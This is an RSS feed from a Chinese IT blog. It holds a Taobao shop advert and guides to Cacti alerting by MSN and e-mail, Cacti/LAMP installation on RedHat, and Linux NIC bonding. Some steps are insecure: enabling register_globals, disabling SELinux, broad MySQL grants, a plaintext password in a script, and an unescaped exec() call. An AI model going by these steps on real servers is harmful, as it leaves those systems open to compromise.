﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-我的ITblog我作主　　关注→　『伊波拉』→　测试　SzDlinXie- ITblog　　  　　   -随笔分类-网络技术杂志</title><link>http://www.cnitblog.com/szdlinxie/category/4490.html</link><description>·√·  本ITblog站点记录相关的软件技术文档、网络技术杂志、测试技术杂谈等技术文档的管理站点.联系方式：MSN：dowling@sunlike.cn   QQ:94595885</description><language>zh-cn</language><lastBuildDate>Mon, 26 Sep 2011 06:28:40 GMT</lastBuildDate><pubDate>Mon, 26 Sep 2011 06:28:40 GMT</pubDate><ttl>60</ttl><item><title>第8号酷尚服饰专卖空间</title><link>http://www.cnitblog.com/szdlinxie/archive/2009/02/20/54760.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 20 Feb 2009 05:56:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2009/02/20/54760.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/54760.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2009/02/20/54760.html#Feedback</comments><slash:comments>7</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/54760.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/54760.html</trackback:ping><description><![CDATA[<p><span style="FONT-SIZE: 18pt"><strong><font style="FONT-SIZE: 24pt; BACKGROUND-COLOR: #f8dddd" face=幼圆 color=#0060bf>&#8220;第8号酷尚服饰专卖空间&#8221;<br><br></font></strong></span><strong><font style="FONT-SIZE: 18pt; BACKGROUND-COLOR: #f8dddd" face=幼圆 color=#0060bf size=6>我的淘宝服饰店开张咯<br><br><a href="http://shop57055019.taobao.com/">http://shop57055019.taobao.com</a> <br><br>店铺专用域名： <a href="http://www.d8hcool.cn/">www.d8hcool.cn</a><br></font></strong><br><strong><font color=#0060bf><font style="BACKGROUND-COLOR: #f8dddd"><font face=幼圆><span style="FONT-SIZE: 18pt">&#8220;第8号酷尚服饰专卖空间&#8221;刚开张，<br><br>希望新老朋友多多光顾关照&#8220;第8号酷尚服饰&#8221;。<br><br>保证产品质量，多买多优惠，谢谢光顾！<br><br>联系电话：15958194984<br><br>联系QQ号：983815681<br><br>旺旺: dowlingxie </span></font></font></font></strong><a href="http://amos1.taobao.com/msg.ww?v=2&amp;uid=dowlingxie&amp;s=1" target=_blank><img alt=点击这里给我发消息 src="http://amos1.taobao.com/online.ww?v=2&amp;uid=dowlingxie&amp;s=1" border=0></a> </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/54760.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2009-02-20 13:56 <a href="http://www.cnitblog.com/szdlinxie/archive/2009/02/20/54760.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Cacti实现MSN报警</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 05 Sep 2008 15:22:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48771.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48771.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48771.html</trackback:ping><description><![CDATA[<h2><a title="Permanent Link: Cacti实现MSN报警" href="http://www.hiadmin.com/cacti%e5%ae%9e%e7%8e%b0msn%e6%8a%a5%e8%ad%a6/" rel=bookmark><u><font color=#810081>Cacti实现MSN报警</font></u></a></h2>
<div class=allinfos>一、 软件环境：cacti（需Threshold插件），MSN机器人（SendMsg）<br>二、 安装过程：<br>Cacti的Threshold插件参见：<a href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/"><u><font color=#810081>Cacti配置e-mail报警</font></u></a><br>MSN机器人(SendMsg)参见：<a href="http://www.hiadmin.com/%e7%b3%bb%e7%bb%9f%e7%9b%91%e6%8e%a7%ef%bc%9amsn%e5%9c%a8%e7%ba%bf%e6%9c%ba%e5%99%a8%e4%ba%ba%e5%ae%9e%e6%97%b6%e6%8a%a5%e8%ad%a6/"><u><font color=#0000ff>系统监控：msn在线机器人实时报警</font></u></a><br>三、 配置过程：<br>1.按照<a href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/"><u><font color=#810081>Cacti配置e-mail报警</font></u></a>配置并启用thold<br>2.编辑cacti/plugins/thold/thold-functions.php<br>在thold&#8211;functions.php查找thold_mail($global_alert_address, &#8221;, $subject, $msg, $file_array);行在此行下面加入： </div>
<div class=hl-surround>
<div class=hl-main>exec("echo $subject &gt;&gt;/var/www/html/cacti/plugins/thold/alter.log");<br>exec("sh /var/www/html/cacti/plugins/thold/sendmessage.sh");</div>
</div>
<p>查找 thold_mail($item["notify_extra"], &#8221;, $subject,<br>$msg, $file_array);行在此行下面加入：</p>
<div class=hl-surround>
<div class=hl-main>exec("echo $subject &gt;&gt;/var/www/html/cacti/plugins/thold/alter.log");<br>exec("sh /var/www/html/cacti/plugins/thold/sendmessage.sh");</div>
</div>
<p>备注：本人的thold安装在/var/www/html/cacti/plugins/thold/目录中，如果注释掉thold_mail，只通过MSN发送报警。不注释掉thold_mail，会通过email和MSN同时发送报警</p>
<p>thold-functions.php生成的alter.log范例如下：</p>
<div class=hl-surround>
<div class=hl-main>192.168.1.207 - Used Space - G: Label: [hdd_percent] is still above threshold of 85 with 99</div>
</div>
<p>编写脚本sendmessage.sh自动调用SendMsg发送报警</p>
<div class=hl-surround>
<div class=hl-main>#!/bin/sh<br>echo `echo -n "date:"&amp;&amp;date +%Y-%m-%d-%H:%M` &gt;&gt; /var/www/html/sendMsg/msn.txt.1<br>#得到当前的日期+时间<br>cat /var/www/html/cacti/plugins/thold/alter.log &gt;&gt;/var/www/html/sendMsg/msn.txt.1<br>#读取alter.log的报警信息<br>now=`date +%Y-%m-%d-%H:%M`<br>SA=(disk)<br>msnaddr=(lvming104@hotmail.com) #报警接收人msn<br>sendMsg()<br>{<br>num=0<br>while [ $num -lt 1 ];<br>do<br>wget --post-data "sender=test@live.cn&amp;password=12346&amp;recipient=${1}&amp;message=${2}" http://127.0.0.1/sendMsg/index.php -O /var/www/html/sendMsg/index.php.1 &gt;/dev/null 2&gt;&amp;1<br>#sender：发送人msn，password：密码。/var/www/html/sendMsg为sendMsn安装目录<br>if [ -f /var/www/html/sendMsg/index.php.1 ]; then<br>if cat /var/www/html/sendMsg/index.php.1 |grep -i successfully &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断信息发送成功<br>elif cat /var/www/html/sendMsg/index.php.1 |grep -i "The user appears to be offline" &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断msn接受人为是否在线状态<br>echo "The user is offline."<br>exit 0<br>elif cat /var/www/html/sendMsg/index.php.1 |grep -i "Something went wrong trying to connect to the server" &gt;/dev/null 2&gt;&amp;1;then<br>num=1 #判断msn 服务器存在连接问题<br>echo "MSN server is wrong."<br>exit 0<br>else<br>num=0 #除了以上三种情况退出循环外，其他情况重试。<br>fi<br>rm -f /var/www/html/sendMsg/index.php.1<br>else<br>num=0<br>fi<br>done<br>}<br>&nbsp;<br>mv /var/www/html/sendMsg/msn.txt /var/www/html/sendMsg/bak/msn$now.txt -f 1&gt;/dev/null 2&gt;&amp;1<br>mv /var/www/html/sendMsg/msn.txt.1 /var/www/html/sendMsg/msn.txt -f 1&gt;/dev/null 2&gt;&amp;1<br>rm /var/www/html/cacti/plugins/thold/alter.log -f 1&gt;/dev/null 2&gt;&amp;1<br><br>for i in 0 <br>do<br>if cat /var/www/html/sendMsg/msn.txt ; then<br>messages=`cat /var/www/html/sendMsg/msn.txt ` #读取要发送的信息<br>sendMsg "${msnaddr[$i]}" "$messages" #发送报警信息<br>else<br>continue<br>fi<br>done</div>
</div>
<p>ok，配置完成了，现在就可以通过MSN接收报警信息了：如下所示<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/14.jpg"><img class="alignnone size-medium wp-image-753" title=14 height=267 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/14-300x267.jpg" width=300></a></p>
<p>下次更新Cacti实现短信报警，敬请期待</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48771.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-05 23:22 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48771.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Cacti配置e-mail报警</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Fri, 05 Sep 2008 15:20:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48770.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48770.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48770.html</trackback:ping><description><![CDATA[<h2><a title="Permanent Link: Cacti配置e-mail报警" href="http://www.hiadmin.com/cacti%e9%85%8d%e7%bd%aee-mail%e6%8a%a5%e8%ad%a6/" rel=bookmark><u><font color=#810081>Cacti配置e-mail报警</font></u></a></h2>
<div class=allinfos>一、 软件环境：cacti（需Threshold插件）<br>二、 安装过程：<br>Cacti的安装各位baidu一下，这里就不详细介绍了。<br>安装Threshold插件<br>V0.3.9下载地址：<a onclick="pageTracker._trackPageview('/outgoing/mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv?referer=http://www.hiadmin.com/cacti%e5%ae%9e%e7%8e%b0msn%e6%8a%a5%e8%ad%a6/');" href="http://mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv"><u><font color=#0000ff>http://mirror.cactiusers.org/downloads/plugins/thold-0.3.9.tar.gzv</font></u></a><br>安装Threshold插件，只需将解压出来的Thold目录拷贝到cacti/plugins/目录下，并修改cacti配置文件（cacti目录下的include/config.php）。在配置中查找$plugins = array();行，在此行下面加入： </div>
<div class=hl-surround>
<div class=hl-main>$plugins[] = 'thold';</div>
</div>
<p>刷新cacti首页，你将看到多出来一个Threshld选项卡。如下所示<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/1.jpg"><img class="alignnone size-medium wp-image-713" title=1 height=18 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/1-300x18.jpg" width=300></a><br>三、 配置过程：<br>1．设置Threshold插件：选中console选项卡，在左侧菜单中点击Settings，然后点击Alerting/Thold选项卡<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/2.jpg"><img class="alignnone size-medium wp-image-714" title=2 height=170 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/2-300x170.jpg" width=300></a><br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/3.jpg"><img class="alignnone size-medium wp-image-715" title=3 height=156 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/3-300x156.jpg" width=300></a><br>2．设置发送警报通知：在Default Alerting Options中选择Send notifications<br>3．设置出现down机的情况时（即Monitor出现如图所示 <a href="http://www.hiadmin.com/wp-content/uploads/2008/08/4.jpg"><img class="alignnone size-medium wp-image-717" title=4 height=63 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/4.jpg" width=43></a>）发送警报通知：选择Dead Hosts notifications<br>报警邮件范例如下：</p>
<div class=hl-surround>
<div class=hl-main>Host Error : 192.168.1.220 (192.168.1.220) is DOWN<br>Message : Host did not respond to SNMP&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;（down机报警）</div>
</div>
<div class=hl-surround>
<div class=hl-main>Host Notice : 192.168.1.207 (192.168.1.207) returned from DOWN state&nbsp; &nbsp;（恢复）</div>
</div>
<p>4．设置警报发送纯文本的电子邮件没有图（默认是HTML电子邮件与图表嵌入在电子邮件）：选择Send alerts as text<br>5．设置周末不执行报警检查：选择Weekend exemptions<br>6．设置报警的门槛：Default Trigger Count<br>7．设置Emailing Options</p>
<div class=hl-surround>
<div class=hl-main>Mail Services：SMTP。（可以选择PHP mail，sendmail，SMTP三种方式）<br>From Email Address：按实际设置<br>From Name：按需要设置（该处显示的name就是email的发件人姓名）</div>
</div>
<p>8．设置Sendmail Options（Mail Services设置为sendmail需设置此项）</p>
<div class=hl-surround>
<div class=hl-main>Sendmail Path：/usr/sbin/sendmail（路径是服务器上Sendmail的，仅用于邮件服务选定为Sendmail）</div>
</div>
<p>9．设置SMTP Options（Mail Services设置SMTP需设置此项）</p>
<div class=hl-surround>
<div class=hl-main>SMTP Hostname：SMTP服务器如：mail.test.com<br>SMTP Port:25<br>SMTP Username: 通过SMTP发送邮件用来验证的用户名，如果你不要求身份验证留空<br>SMTP Password：通过SMTP发送邮件用来验证的密码，如果你不要求身份验证留空</div>
</div>
<p>测试：点击Send a Test Email，测试成功如下所示：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/13.jpg"><img class="alignnone size-medium wp-image-712" title=13 height=78 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/13-300x78.jpg" width=300></a><br>收到的测试邮件范例：</p>
<div class=hl-surround>
<div class=hl-main>This is a test message generated from Cacti. This message was sent to test the configuration of your Mail Settings.<br>Your email settings are currently set as follows<br>Method: SMTP<br>Host: mail.ips.com.cn<br>Port: 25<br>Authenication: true<br>Username: john.lv<br>Password: (Not Shown for Security Reasons)</div>
</div>
<p>配置完成后别忘记save。<br>下面我以磁盘空间报警为例，来设置具体的报警信息（CPU，DISK，服务，网络等等）<br>在console选项卡下左侧菜单中点击Threshold Templates 。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/4.bmp"><img class="alignnone size-medium wp-image-716" title=4 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/4.bmp"></a><br>在如下图所示中点击Add按钮来添加一个Threshold模板<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/5.jpg"><img class="alignnone size-medium wp-image-718" title=5 height=50 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/5-300x50.jpg" width=300></a><br>添加磁盘监控的模板，无论是linux还是windows都是使用的Host MIB<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/6.jpg"><img class="alignnone size-medium wp-image-719" title=6 height=91 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/6-300x91.jpg" width=300></a><br>设置按照百分比来监控的，在Data Field选择hdd_percent，可以选择hdd_total,hdd_used,hdd_percent三种<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/7.jpg"><img class="alignnone size-medium wp-image-720" title=7 height=91 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/7-300x91.jpg" width=300></a><br>设置以下信息（参照下图：）<br>选择Enabled 激活检查和报警提醒<br>High Threshold文本框中填入0.085，意思是当硬盘使用率超过85％时，发送邮件报警。<br>Threshold CDEF下拉框选择Divide by 1024，<br>Alert E-Mail填入报警的接收邮箱<br>完成Threshold模板的添加。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/8.jpg"><img class="alignnone size-medium wp-image-721" title=8 height=197 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/8-300x197.jpg" width=300></a><br>应用刚才创建的Threshold模板<br>在console选项卡下点击Management -&gt;Devices，选择要应用此模板的Host，点击最上面的Create Graphs for this Host链接，然后点击Auto-create thresholds链接来应用刚创建的Threshold模板。<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/9.jpg"><img class="alignnone size-medium wp-image-722" title=9 height=37 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/9-300x37.jpg" width=300></a><br>设置完成后在console选项卡下左侧菜单中点击Thresholds<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/10.bmp"><img class="alignnone size-medium wp-image-723" title=10 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/10.bmp"></a><br>在此可以管理已创建的警报，如下：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/11.jpg"><img class="alignnone size-medium wp-image-724" title=11 height=144 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/11-300x144.jpg" width=300></a><br>点击threshld选项卡可以查看警报的触发情况，如下：<br><a href="http://www.hiadmin.com/wp-content/uploads/2008/08/12.jpg"><img class="alignnone size-medium wp-image-725" title=12 height=83 alt="" src="http://www.hiadmin.com/wp-content/uploads/2008/08/12-300x83.jpg" width=300></a><br>磁盘报警邮件范例：</p>
<div class=hl-surround>
<div class=hl-main>Host: 192.168.1.207 (192.168.1.207)<br>URL: http://192.168.1.211/cacti//graph.php?local_graph_id=&amp;rra_id=1<br>Message: 192.168.1.207 - Used Space - D: Label:tool [hdd_percent] went<br>above threshold of 0.085 with 0.0896</div>
</div>
<p>Ok,磁盘空间的邮件报警就正式配置完成了。</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48770.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-05 23:20 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/05/48770.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat Linux 下安装配置CACTI的技巧</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Wed, 03 Sep 2008 14:45:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48684.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48684.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48684.html</trackback:ping><description><![CDATA[<p><strong>安装环境及需求:</strong>
<p>1.系统:RedHat AS4(update2)
<p>2.软件包需求:cacti-0.8.6j,mysql-5.0.20,php-5.2.0,apache2.0.58(以上均为源码包).
<p><strong>安装配置过程:</strong>
<p>1. 安装apache2.0.58
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/apache2 --enable-modules=so
<p># make;make install
<p>编译选项比较简单,--prefix=你需要把apache安装的位置,--enable-modules=so意思是可以动态加载apache所需
<p>要的.so 的模块
<p>安装完成后,编辑apache的配置文件,使之能正常使用:
<p># vi /usr/local/apache2/conf/httpd.conf
<p>找到下面这行:
<p>#ServerName www.example.com:80
<p>改为:
<p>ServerName yourIP:80
<p>启动apache:
<p>#/usr/local/apache2/bin/apachectl start
<p>在浏览器里输入你的IP或者localhost测试一下,是否能看到apache的测试页,成功的话,说明安装成功
<p>2.安装mysql-5.0.20
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/mysql
<p># make;make install
<p># cp support-files/my-medium.cnf /etc/my.cnf (这一步是将配置文件拷贝到/etc下面)
<p>编译选项当中指定安装路径就可以了
<p>配置mysql过程:
<p>#groupadd mysql
<p>#useradd -g mysql mysql
<p>#cd /usr/local/mysql
<p>#./bin/mysql_install_db --user=mysql
<p>#chown -R root .
<p>#chown -R mysql var
<p>#chogrp -R mysql .
<p>启动mysql
<p>#./bin/mysqld_safe --user=mysql &amp;
<p>如果看到下面的信息,就说明启动成功了
<p># Starting mysqld daemon with databases from /usr/local/mysql/var
<p>可以测试一下,看看能不能登陆mysql数据库
<p># /usr/local/mysql/bin/mysqladmin -uroot password '你的密码' (给初始登陆mysql的用户root设置密码,当
<p>然不设置也能登陆,推荐设置密码)
<p># /usr/local/mysql/bin/mysql -uroot -p你的密码 (注意: -p后面不要带空格)
<p>如果出现下面的欢迎字样,说明连接成功:
<p>Welcome to the MySQL monitor. Commands end with ; or g.
<p>Your MySQL connection id is 9 to server version: 5.0.20a-log
<p>mysql&gt;
<p>3.安装php-5.2.0
<p>解压软件包,进入安装目录,我的编译过程如下:
<p># ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-
<p>mysql=/usr/local/mysql --with-config-file-path=/usr/local/php/etc
<p>#make;make install
<p>编译选项中--with-apxs2=/usr/local/apache2/bin/apxs 是说将PHP模块编译进apache,--with-
<p>mysql=/usr/local/mysql 是说指定mysql的路径(其实就是告诉PHP我们的mysql的一些头文件信息,如果你的
<p>mysql和PHP不是同一台机器的话,指定mysql的头信息是编译必要的),--with-config-file-
<p>path=/usr/local/php/etc 是说将PHP的主配置文件放在什么地方,这是个人习惯
<p>#cp php.ini-dist /usr/local/php/etc/php.ini
<p>#vi /usr/local/php/etc/php.ini
<p>找到如下内容:
<p>register_globals = Off
<p>改为:
<p>register_globals = On
<p>为了使PHP能够配合apache使用,还需要修改apache的配置文件:
<p>#vi /usr/local/apache2/conf/httpd.conf
<p>找到下面字段:
<p>DirectoryIndex
<p>在iindex.html前面添加index.php
<p>并在配置文件最后加入如下字段:
<p>AddHandler php5-script .php
<p>AddType text/html .php
<p>测试PHP是否正常运行:
<p>#vi /usr/local/apache2/htdocs/index.php
<p>写入下面一行:
<p>＜?php phpinfo() ?＞
<p>保存退出后重新启动apache
<p>#/usr/local/apache2/bin/apachectl restart
<p>这里需要注意,如果系统的selinux没有关闭的话,我们的php的模块是不能被apache正确找到的,所以在重起apache
<p>之前,请将selinux关闭,具体做法是:
<p>#vi /etc/selinux/config
<p>找到如下字段:
<p>SELINUX=enforcing
<p>改为:
<p>SELINUX=disabled
<p>保存退出后需要重新启动电脑
<p>在浏览器里输入IP，如果能够看到phpinfo的测试页，那么PHP已经正常工作了
<p>4.安装cacti-0.8.6j
<p>安装前的准备：由于cacti需要net-snmp和rrdtool两个工具来配合使用，所以需要安装这两个工具，由于默认完
<p>全安装RedHat AS4的情况下这两的工具是都安装好的，所以我之前没有提到，如果没有安装这两个工具，那么建
<p>议去http://rpmfind.net去找相关的rpm包来安装，这个网站使用起来很方便，只要输入工具的名字，就能把rpm
<p>包匹配的系统版本的所有rpm包列出来，很方便，rpm包的安装，我这里就不赘述了
<p>以下的配置是默认安装好了上述两个工具的配置
<p>解压cacti的软件包，进行如下操作：
<p>#mv cacti-0.8.6j /usr/local/apache2/htdocs/cacti
<p>#cd /usr/local/apache2/htdocs/cacti
<p>#/usr/local/mysql/bin/mysql -uroot -p你的密码
<p>mysql&gt; grant all privileges on *.* to '你的用户名[email=]'@'localhost'[/email] identified by '为这用户添加的密码'
<p>with grant option;
<p>mysql&gt; create database cacti;
<p>mysql&gt; exit
<p>#/usr/local/mysql/bin/mysql -u用户名 -p你的密码 cacti &lt; cacti.sql
<p>#vi include/config.php
<p>修改如下段落：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "cactiuser";
<p>$database_password = "cactiuser";
<p>$database_port = "3306";
<p>改为：
<p>$database_type = "mysql";
<p>$database_default = "cacti";
<p>$database_hostname = "localhost";
<p>$database_username = "用户名";
<p>$database_password = "你的密码";
<p>$database_port = "3306";
<p><strong>修改snmp的配置文件：</strong>
<p>#vi /etc/snmp/snmpd.conf
<p><strong>修改下面几部分内容：</strong>
<p>1.)com2sec notConfigUser default public
<p>改为：com2sec notConfigUser localhost public
<p>2.)access notConfigGroup "" any noauth exact systemview none none
<p>改为：access notConfigGroup "" any noauth exact all none none
<p>3.)#view all included .1 80
<p>去掉注释
<p>保存退
<p>启动snmp
<p>#/etc/init.d/snmpd start
<p>修改计划任务，使CACTI每5分钟获得一次数据：
<p>#crontab -e -u 用户名
<p><strong>添加如下内容：</strong>
<p>*/5 * * * * /usr/local/php/bin/php /usr/local/apache2/htdocs/cacti/poller.php &gt; /dev/null 2&gt;&amp;1
<p>保存退出
<p>#chown -R rra/ log/
<p>这样cacti就基本配置完成了
<p>在浏览器里输入IP/cacti初始进入的时候需要告诉cacti你的PHP的可执行文件的路径，其他默认就可以，默认的
<p>用户名和密码是admin和admin。进去后要马上修改密码，保存后就进入cacti的世界了。 </p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48684.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-09-03 22:45 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/09/03/48684.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux双网卡bonding举例</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:25:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48495.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48495.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48495.html</trackback:ping><description><![CDATA[<div>所谓bonding，就是将多块网卡绑定同一IP地址对外提供服务，可以实现高可用或者负载均衡。当然，直接给两块网卡设置同一IP地址是不可能的。通过bonding，虚拟一块网卡对外提供连接，物理网卡的被修改为相同的MAC地址。Kernels 2.4.12及以后的版本均提供bonding模块，以前的版本可以通过patch实现。<br><br>1.确认你目前使用的网卡，检查/etc/sysconfig/network-scripts目录下以ifcfg-开头的文件，应该为eth0, eth1...<br><br>2. 配置虚拟网卡bond0<br>可以使用DHCP，也可以配置static IP，最好通过vi编辑配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 ~]# cd /etc/sysconfig/network-scripts<br>[root@server1 network-scripts]# cat ifcfg-bond0<br>DEVICE=bond0<br>BOOTPROTO=none<br>ONBOOT=yes<br>NETWORK=192.168.0.0<br>NETMASK=255.255.255.0<br>IPADDR=192.168.0.10<br>USERCTL=no<br>GATEWAY=192.168.0.254<br>TYPE=Ethernet</div>
</div>
<br><br>3. 修改eth0, eth1配置文件<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>[root@server1 network-scripts]# ifcfg-eth0<br>DEVICE=eth0<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes<br>[root@server1 network-scripts]# ifcfg-eth1<br>DEVICE=eth1<br>BOOTPROTO=none<br>ONBOOT=yes<br>MASTER=bond0<br>SLAVE=yes<br>USERCTL=yes</div>
</div>
<br><br>4. 将新添加的bond0设备加入modprobe.conf中，以便kernel识别。加入设置参数，miimon值表示两块网卡相互监测的时间，以ms为单位。mode值为工作模式，可设置为高可<a name=entrymore></a>用还是负载均衡，0为高可用（默认值），1为负载均衡，另外还有一种XOR模式。<br>
<div class=quote>
<div class=quote-title>引用</div>
<div class=quote-content>alias bond0 bonding<br>options bond0 miimon=100 mode=1</div>
</div>
<br><br>关于Linux使用bonding的详细信息可以参考官方文档http://www.kernel.org/pub/linux/kernel/people/marcelo/linux-2.4/Documentation/networking/bonding.txt </div>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48495.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:25 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48495.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux下软件安装详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:06:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48493.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48493.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48493.html</trackback:ping><description><![CDATA[<span>在</span><span>Windows</span><span>下安装软件时，只需用鼠标双击软件的安装程序，</span>
<p><span>或者用</span><span>Zip</span><span>等解压缩软件解压缩即可安装。</span></p>
<p><span>在</span><span>Linux</span><span>下安装软件对初学者来说，难度高于</span><span>Windows</span><span>下软件安装。</span><span> </span></p>
